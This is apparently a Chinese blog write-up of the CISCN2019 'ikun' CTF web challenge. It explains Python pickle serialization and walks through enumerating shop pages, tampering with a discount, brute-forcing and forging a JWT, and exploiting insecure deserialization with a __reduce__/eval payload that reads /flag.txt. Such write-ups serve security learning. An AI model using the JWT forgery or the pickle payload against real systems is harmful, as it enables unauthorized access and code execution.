知识点
pickle常用函数
pickle.dump(obj, file, [,protocol])
函数的功能:将obj对象序列化存入已经打开的file中。
参数讲解:
obj:想要序列化的obj对象。 file:文件名称。 protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
pickle.load(file)
函数的功能:将file中的对象序列化读出。
参数讲解:
file:文件名称。
pickle.dumps(obj, [protocol])
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解:
obj:想要序列化的obj对象。 protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本
pickle.loads(string)
函数的功能:从string中读出序列化前的obj对象。
参数讲解:
string:文件名称。
pickle的协议
__getinitargs__(self)
: 如果想要你的类在反pickle的时候调用__init__
,定义这个协议,它会返回一个参数元祖,这个元组他会传递给__init__
.但是这个方法只能适用于旧式类__getnewargs__(self)
: 对于新式类,可以通过这个方法改变类在反pickle是传递给__new__
的参数,这个方法应该返回一个参数元组__getstate__(self)
: 你可以自定义对象被pickle时保存的状态,而不使用对象的__dict__
属性,这个状态在对像被反pickle时会被__setstate__
使用__setstate__(self)
: 当一个对象被反pickle的时候,如果定义了__setstate__
对象的状态会传递给这个魔术方法,而不是直接应用到对象__dict__
属性。这个魔术方法和__getstate__
相互依存:当这两个方法都被定义时,你可以在pickle时使用任何方法保存对象的任何状态__reduce__(self)
: 当定义扩展类型时,如果你想pickle他们,你必须告诉python如何pickle他们,__reduce__
方法被定义之后,当对象被pickle时就会被调用,他要么返回一个带有全局名称的字符串,python会查找它并且pickle,要么返回一个元组,这个元组包含2-5个元素,其中包括了:- 一个可调用的对象,用于重建对象时调用,
- 一个参数元素,供那个可调用对象使用
- 被传递给
__setstate__
的状态(可选) - 一个产生被pickle的列表元素的迭代器(可选)
- 一个产生被pickle的字典元素的迭代器(可选)
做题过程
打开题目,发现有登录和注册功能,测试SQL注入之后没结果,注册并登录账号。
查看源代码,发现有:
我们需要找到lv6
点击下一页之后观察url构造
编写python脚本:
import requests
url = "http://7b946522-766b-4a93-8449-f1e3d5b7436a.node4.buuoj.cn:81/shop?page={}"
for i in range(1000):
urll = url.format(i)
res = requests.get(urll)
if "lv6.png" in res.text:
print("lv6 is in: ", urll)
break
但是发现太贵了,买不起。
抓包修改折扣
但是只允许admin
访问
再次抓包,发现JWT:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78
爆破得到密钥为1Kun
伪造JWT
信息泄露
下载得到源码,审计之后发现了,具有python反序列化漏洞
将传入得become
参数值进行了反序列化操作,我们需要构造恶意代码
import pickle
import urllib
class exp(object):
def __reduce__(self):
return (eval, ("open('/flag.txt').read()", ))
result = pickle.dumps(exp())
print(urllib.quote(result))
传入become参数,可以得到flag
参考
[(BUUCTF][CISCN2019 华北赛区 Day1 Web2]ikun_Y4tacker的博客-CSDN博客
I'm so cute. Please give me money.
- Post link: https://roboterh.github.io/2022/01/18/CISCN2019-%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA-Day1-Web2-ikun/
- Copyright Notice: All articles in this blog are licensed under unless otherwise stated.